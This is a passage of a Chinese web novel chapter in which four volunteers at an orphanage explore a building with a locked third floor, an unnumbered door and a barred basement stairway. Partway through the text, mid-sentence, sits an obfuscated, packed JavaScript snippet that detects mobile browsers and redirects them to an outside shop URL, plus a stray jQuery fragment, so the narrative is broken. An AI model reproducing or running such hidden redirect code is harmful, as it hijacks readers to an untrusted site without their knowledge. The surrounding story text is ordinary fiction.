办公室里的日光在桌面上缓缓移了一小格。
林副院长的声音温和而平稳，跟她介绍志愿者的工作内容。
上午陪孩子们做活动，下午帮忙整理档案，晚上五点之后自由活动，但不要上三楼。
"三楼的电路不太行，平时都锁着的。"
她说完这句话的时候把桌上的那摞文件夹往旁边挪了挪，露出底下压着的一角纸页。
碎烬辞的目光没有在那角纸页上停留太久，但她看见了上面的字。
是手写的，"通知"两个字，纸边已经泛黄了。
林副院长站起来走到墙边的柜子前，从抽屉里取出四张工作牌，塑料壳的，里面插着打印好的照片，每张照片下面贴着名字。
碎烬辞接过来的时候扫了一眼照片。
她自己的照片已经被印上去了，不知道是什么时候拍的，神情平静，头发拢在耳后。
碎烬辞把工作牌挂到脖子上，塑料壳边缘压着锁骨的皮肤，凉了一下。
"你们的宿舍在一楼东侧，靠走廊尽头那间。床铺已经备好了。"
林副院长从柜子底层取出一串钥匙，从上面拆了四把递给她们。
"这是你们屋的钥匙。院子里有食堂，早中晚都有饭。孩子们你们明天再接触吧，今天先歇歇。"
碎烬辞接过来的时候指腹蹭到了钥匙柄上的标签。
一小块白色胶带，上面用圆珠笔写着"101"。
她把钥匙攥进掌心里，站起来道了谢。林副院长已经坐回自己的椅子上了，重新拿起笔，低头继续写那份她之前没写完的东西。
"有什么不懂的问门卫老张，他就住在大门旁边那间小屋里。"
她的声音从她低着的头那边飘过来，像已经开始处理下一件事了。
四个人走出办公室沿着走廊往一楼东侧走。
走廊两侧的墙面上每隔一段就有一扇门，门牌号从二楼和三楼的数字已经模糊了，只剩一楼的几扇还能辨认出轮廓。
经过一扇门的时候碎烬辞的步子慢了一瞬那扇门的门牌号被撕掉了，只剩两个螺丝孔留在门框上。
门缝底部有一道极窄的光透出来，像里面有人在点着一盏小灯。
她走过之后侧了一下头，把耳朵朝着那道门缝的方向偏了一瞬，没有捕捉到呼吸声，但她捕捉到了一阵极轻的、像指甲轻轻刮过硬面的声响，顿了很短的一下就停了。
她们走到走廊尽头，101的门牌还算清楚。
碎烬辞用钥匙开了门，里面是一间不大的房间，四张铁架床靠着四面墙摆着，床单被套都是统一的灰蓝色，叠得整齐。
窗台上放着一盆干枯的绿萝，叶子卷成褐色的一团。
屋角有一只铁皮柜，门关着，柜面上落了一层薄灰。
她走到窗台边碰了一下那盆枯绿萝的叶片，叶面一碰就碎了，碎屑落在窗台上散成一小堆粉末。
她收回手，在靠窗那张床的床沿坐了下来。
窗外的院子里，那几只半枯的梧桐树的影子在水泥地面上缓缓移动着，秋千架的铁链在无风的午间偶尔发出极轻的碰撞声。
她们各自找到了自己的位置，沈寂渊靠着门边的墙站着，像一扇不需要被打开的门。
扶卿欢坐在另一张床沿上把帽子摘了搁在膝盖上。
时卿昭在窗台边蹲下来，用指尖碰了一下枯绿萝根部那一小撮干透的土。
下午的时间碎烬辞在走廊里走了一趟。
她经过那扇没有门牌号的门时放慢了脚步，门缝里的光已经不在了，那道刮擦的声响也没有再出现。
她继续往前走，走到走廊尽头往右拐，看见了一扇铁栅栏门，栏杆之间焊着几根横档，锁扣上挂着一把铜锁，锁体表面的绿锈在走廊日光灯的照射下泛着一层暗哑的光。
栅栏门旁边贴着一块白底红字的标识牌，牌面上写着"设备间闲人免入"四个字，字体是印刷体，规规矩矩的。
标识牌下方有一道细长的划痕，像被什么尖锐的东西反复划过，正好把"闲人"两个字拦腰斩断了。
划痕的表面颜色比周围新，边缘干净，不像旧痕，像最近才留下的。
她盯着那两道划痕看了一会儿，像有人在用一道无声的线把那两个字从标识牌上划掉了。
栅栏门后面是一段向下延伸的楼梯，楼梯口的灯光是灭的，台阶隐在暗里，看不见底部。
她沿着来路走了回去，经过那扇没有门牌号的门时门缝里重新亮起了光，细长的一线从门缝底部渗出来，在地砖上铺成一道发亮的窄带。
她在那道窄带前面停了一下，侧耳听了三秒。
门后有人在低声说话，听不清内容，但语调平直，像在陈述什么，没有起伏。
她把那道声音记下了，继续走回101。
傍晚的时候食堂里亮起了灯。
食堂在院子西侧那排矮房里，门开着，里面摆了四张长桌，桌面上铺着塑料桌布，边角用夹子固定住了。
墙角有一台老旧的热水器，外壳上贴着"小心烫伤"的手写标签，字迹歪斜。
食堂的阿姨从里间端出来一盆米饭和一碗炖菜，盆沿冒着热气。
她看见四个人的时候没有什么表情，只说了一句"吃吧"就转身回里间去了。
她们在长桌边坐下来吃饭。炖菜是萝卜和土豆，放了点酱油，味道偏咸。
食堂里没有别的人，只有她们四个。
碎烬辞夹了一筷子萝卜放进嘴里嚼着，目光落在食堂窗户外面那片暗下来的院子里。
梧桐树的轮廓在暮色里变成了深灰色的剪影，秋千架的铁链也融进了那片剪影里。
吃完饭之后她们在院子里站了一会儿。
天色已经完全暗下来了，院墙那侧有几扇窗户透出灯光来，暖黄色的，分布在不规则的位置上。
碎烬辞站在秋千架旁边，铁链在她手边被风吹得轻轻晃荡着，金属与金属之间发出细碎的碰撞声。
她侧头往主楼那边看了一眼，二楼和三楼大部分的窗户都是暗的，只有少数几扇亮着灯。
三楼的灯光位置固定，像办公室或者值班室。
她收回视线的时候注意到了一件事。
主楼侧面的墙面位置偏低，有一扇极小的窗户，贴着地面，窗框跟水泥台阶之间几乎没有缝隙。
那扇小窗没有透光，窗玻璃被灰尘糊得严严实实，但窗框底部有一条细窄的透光缝隙，像里面的灯被什么东西挡着，只有一小线光从缝隙里挤了出来。
她在那条细光前面蹲下来看了一会儿。
光线的颜色跟普通白炽灯不同，偏冷，微微发蓝。
缝隙的高度只够她蹲着的时候平视过去，里面的光映在窗框底部那一小截金属面上，冷白色的，闪闪烁烁，并不稳定。
她站起来拍了拍膝盖上的灰，转身走回了101。
夜里她躺在铁架床上没有合眼。窗外路灯的光从窗帘缝隙里漏进来，在灰蓝色被套上投下一道细长的亮带。
她侧躺着，耳朵对着门的方向，听着走廊里极远处的声响。后半夜的时候她听见了一道声音。
从走廊尽头那个方向传来，极轻的，有节奏的，像硬物规律地敲击着某种表面。
咚、咚、咚。
三下，停了一会儿，又重新开始。
声音不大，隔着几道墙壁和门板传到她耳朵里的时候已经变得像心跳一样模糊。
她数着那三下之间的间隔，约每十秒一次，持续了大约一盏茶的工夫就停了。
停之后的安静比之前更深，像有什么东西从地面上被收起来了一样。
她在黑暗里睁开眼睛。
隔壁床的时卿昭也醒着，她感觉到了那阵轻微的翻身声从她那张床的方向传过来，床架发出的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762634|208960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
吱呀声很轻，但碎烬辞的耳朵收到了。
沈寂渊那边也有一道极轻的呼吸变化。
她也醒着。
只有扶卿欢的呼吸匀长，像依然睡在梦里的底层。碎烬辞把视线从天花板移开，侧过头朝着窗户的方向。
窗帘底部的缝隙里透进来一小块路灯的冷光，在地砖上铺成扁扁的亮面。
第二天早上食堂开门的时间早。她们洗漱完走进食堂的时候，里面已经坐了几个人。
一个穿深蓝色工装的门卫样子的男人坐在角落里喝粥，眼睛看着碗里没有抬起来过。
另一张长桌前坐着一个年轻女人，短发，衣服是福利院统一的浅灰色工作服，正在低头翻一本书。
她抬头看了她们一眼，笑了笑，但没有说话。碎烬辞端着粥碗在靠窗的位置坐下，喝了两口粥之后把碗搁在桌上。
上午的时候林副院长带她们见了第一批孩子。
活动室在一楼西侧，是一间比教室略大的房间，地面铺着旧橡胶垫，沿墙放着几排玩具架，上面摆着积木和图画书。
孩子们陆续被工作人员领进来，大约七八个，年纪从四五岁到十来岁都有。
他们看见新来的人的时候目光有好奇，也有躲闪。
一个扎着马尾辫的小女孩凑近碎烬辞，仰着脸看了她一会儿，然后伸手指了指她脖子上的工作牌。
"姐姐。"她说。
碎烬辞蹲下来跟她平视，点了点头。
"你叫什么？"
"小夏。"
她说完了就转身跑开了，去够玩具架上那盒缺了角的积木。
碎烬辞蹲在原地没有立刻站起来。
她的视线在活动室里扫了一圈——那几个工作人员站在门口附近在低声交谈，孩子散在橡胶垫上各自玩着。
但在角落里的一个男孩引起了她的注意。
他约莫七八岁，皮肤偏白，坐在垫子上手里捏着一支掉了漆的蜡笔在纸上画着。
他画得很专注，周围的孩子都没有靠过去。
她站起来走过去在离他两步远的地方停下来蹲着看。
他画的是一个方形的框，框里面画了很多竖线，像栅栏，栅栏里面画着几道细小的、火柴棍一样的人形，人形的线条很短，缩在框的底部。
画完那些小人之后他在框外面画了一个大大的叉，红色的，笔压很重，蜡笔在纸上蹭出了一层薄薄的碎屑。
碎烬辞看着他画完最后一笔。
他放下蜡笔的时候抬头看了她一眼，眼神比她预想中更沉稳。
他的嘴唇动了一下，像想说什么，但没有发出声音来。她侧头看了一眼他画的纸，在"叉"和那些小人之间，有一个没有画完的东西。
一条细线从框的上方垂下来，末端没有碰到底部，像什么悬在半空。
他把那张纸从本子上撕下来，折了一下，捏在手里没有递给她。
活动结束之后碎烬辞走出活动室，在走廊里侧头往楼梯口的方向看了一眼。
楼梯口的灯亮着，日光灯的白光照在台阶上泛出一层冷光。
她沿着走廊走了一段，经过那扇没有门牌号的门时门关着，门缝里没有光。
她继续走，在走廊尽头的拐角处停了下来，铁栅栏门还在原地，铜锁还挂着。
她站在铁栅栏前面弯腰往底下看。
楼梯的台阶在暗里一级一级向下延伸，被锁在栅栏门后。
她在那里站了一会儿，感觉到有什么东西在楼梯口的底部动了动，细微的，像空气本身在流动。
不是风。
风不会从一个封闭的地下室楼梯口吹上来。
但那股气流确实存在的，冷而干燥，从底部的黑暗里缓缓上涌，经过她的脚踝时带着一层极淡的气味，跟消毒水和旧织物都不一样。
她把那道气流的来源方向记住了，转身走回了101。